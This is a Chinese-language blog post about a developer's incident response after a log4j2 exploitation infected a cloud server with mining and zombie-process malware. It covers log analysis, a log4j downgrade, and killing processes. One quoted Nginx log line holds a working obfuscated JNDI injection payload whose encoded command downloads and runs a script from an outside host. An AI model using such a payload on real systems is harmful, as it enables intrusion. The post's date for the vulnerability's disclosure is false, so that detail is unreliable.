当前位置:网站首页>解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击
解决log4j2漏洞遭到挖矿、僵尸进程病毒攻击
2022-06-12 14:54:00 【猿小飞】
1.前因
在2019年12月份,爆出来的log4j2漏洞,当时可谓满城风雨。当时自己的一个框架刚好从log4j升级到log4j2。按照当时的方案,临时做了修复,但终究还是抵不过残酷的现实,该来的始终还是会来的。因此不可轻视这些安全的问题。
2.发现中病毒的过程
一大早起床,手机就收到短信,说某某服务器中病毒了。因为服务器是在阿里云上,所以上班后第一件事情就是就是进入阿里云后台。在云阿里云中心查看,果然中招。


查看这个恶意的脚本代码,发现是从java web项目中来的。再根据现在他攻击的脚本,发现就是利用了log4j2的漏洞进来的。
接着我们根据阿里云扫描得到的信息,第一时间先去把它在我们服务器上留存的脚本,先删掉。
使用 rm -rf **** 这样的命令,把那些文件全部干掉。

通过这些信息,我们发现,他脚本信息是存放在/tmp目录下。
3.解决思路
3.1.先分析病毒从哪里进来的,先修改这个源头的来源。
防止我们在服务器拼命杀毒,最后,攻击者还是 可以轻易的把脚本弄进来。前面我们已经知道攻击者是从我们的web项目进来的。然后前端我们的使用Nginx进行请求分发。所以通过这条线索,我们查看Nginx的请求日志,根据阿里云发现病毒的时间,我们查看日志的时候,重点查看这段时间内是否有异常的请求。
159.203.95.42 - - [18/Mar/2022:07:46:44 +0800] "GET /:443:undefined?id= HTTP/1.1" 404 128 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159.203.109.65:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzE2Ny4xNzIuMjI2LjIyMi84VXNBLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNjcuMTcyLjIyNi4yMjIvOFVzQS5zaDsgY2htb2QgNzc3IDhVc0Euc2g7IHNoIDhVc0Euc2g=}')" "-"最后一段参数通过Base64位解码:最终就是攻击的脚本了。

最后我们确定这就是log4j2漏洞,被人攻击了。
3.2.先修改项目中的log4j2版本
因为项目springboot版本不是特别高,之前一直是使用1.几的版本,本来是想着log4j2的功能更丰富和性能更好,所以升级了。现在为了解决问题,先把log4j版本,降低到原来的使用版本。这样最快速解决问题。
3.3.删掉这个漏洞加载进/tmp下的文件
这个相对比较简单一些。因为一般情况下,/tmp目录下的文件,都不是特别重要的文件。
所以看到默认的文件,就把它们干掉。
3.4.安装htop工具,查看异常的进程
这个工具非常有用,白天因为病毒一起来,阿里云几分钟之内就把那些进程杀死了。但是因为病毒已经进来,并创建了很多个守护进程。我们通过top命令,又查不到这些特殊的进程存在。因此很难发现异常情况。
先安装htop工具,我这边的系统centos7.9的系统。
yum -y install htop安装完后,直接在输入 htop 命令就可以执行了。退出命令,直接按F10 即可。

一般情况下,我们正常的进程,command这一列都是具体的路径,或者是具体名称。但看到这种一串字符的进程。估计就是病毒进程了。
通过这个线索,我们通过ps aux|grep pid 来查看,具体的进程所在的位置,和他的启动时间。
ps aux|grep PID
在查询的过程中,发现这些进程中有 defunct 这个标识。一查才发现,原来这些是僵尸进程的标识。从发现病毒到当天晚上10点多,通过以下命令查看,竟然有300多个僵尸进程存在。怪不得,隔一段时间,就会发起一波攻击,原因就是这些僵尸进程导致的。
ps aux|grep defunct这里特别要注意,要杀僵尸进程,一定要先杀死他的父进程,这样子进程就会自动挂了。
结合下面命令进行杀父进程
kill -9 pid技巧,当时看到僵尸进程有300多个,心碎了一地,这要杀到什么时候,最后实践得出一个规律,那就是从最早产生的进程杀起。一般这些进程基本上就是父进程了。
杀完之后,再使用命令查看,是否减少了。
ps aux|grep defunct![]()
最后看到这里,基本上就杀完了。
总结一下,一般这种病毒为什么杀了之后,还会不断的出现,本质上就是因为这些守护进程还存在,不把这些守护进程杀掉,那分分钟钟攻击还是会起来。
4.最后我们通过监控,看cpu还会不会突然起来,来判断是否把这些病毒清掉了。

边栏推荐
猜你喜欢

Tensorrt based in-depth learning model deployment practice tutorial!

安凯微电子冲刺科创板:年营收5亿 小米产业基金是股东

Scala下载及IDEA安装Scala插件(保姆级教程超详细)

IMU的学习记录

Selenium advanced

Assertion of selenium webdriver

掌门教育被强制退市:上市仅一年时间 软银CMC损失惨重
![[wechat applet] 5 Applet structure directory](/img/d6/4796c8b8fe482b261c5a1fbf79ba2b.jpg)
[wechat applet] 5 Applet structure directory

MH32F103ARPT6软硬件兼容替代STM32F103RCT6

机器人前行、旋转的service编写
随机推荐
C scanf函数
ROS中tf学习笔记
左对齐,右对齐,随机数,goto,比较输出bool
宝塔面板新建数据库提示数据库名不能大于16位的解决方法
Autofac Beginner (1)
PTA:自测-3 数组元素循环右移问题 (20分)
Phpstudy indicates that the hosts file may not exist or be blocked from being opened. How to resolve the failure of synchronizing hosts
Use Baidu AIP to obtain the text in the specified area of the screen
Tensorrt based in-depth learning model deployment practice tutorial!
C 数据类型
Scala下载及IDEA安装Scala插件(保姆级教程超详细)
[Writeup]BUU SQL COURSE1[入门级]
C常量,不能改变
如何给域名前加上 www
产业端:618的新战场
[wechat applet] 3 The first wechat applet
Leader education was forced to be delisted: Softbank CMC suffered heavy losses only one year after listing
频繁项集产生强关联规则的过程
程序构造和解释之过程抽象
Open Chinese path file in C language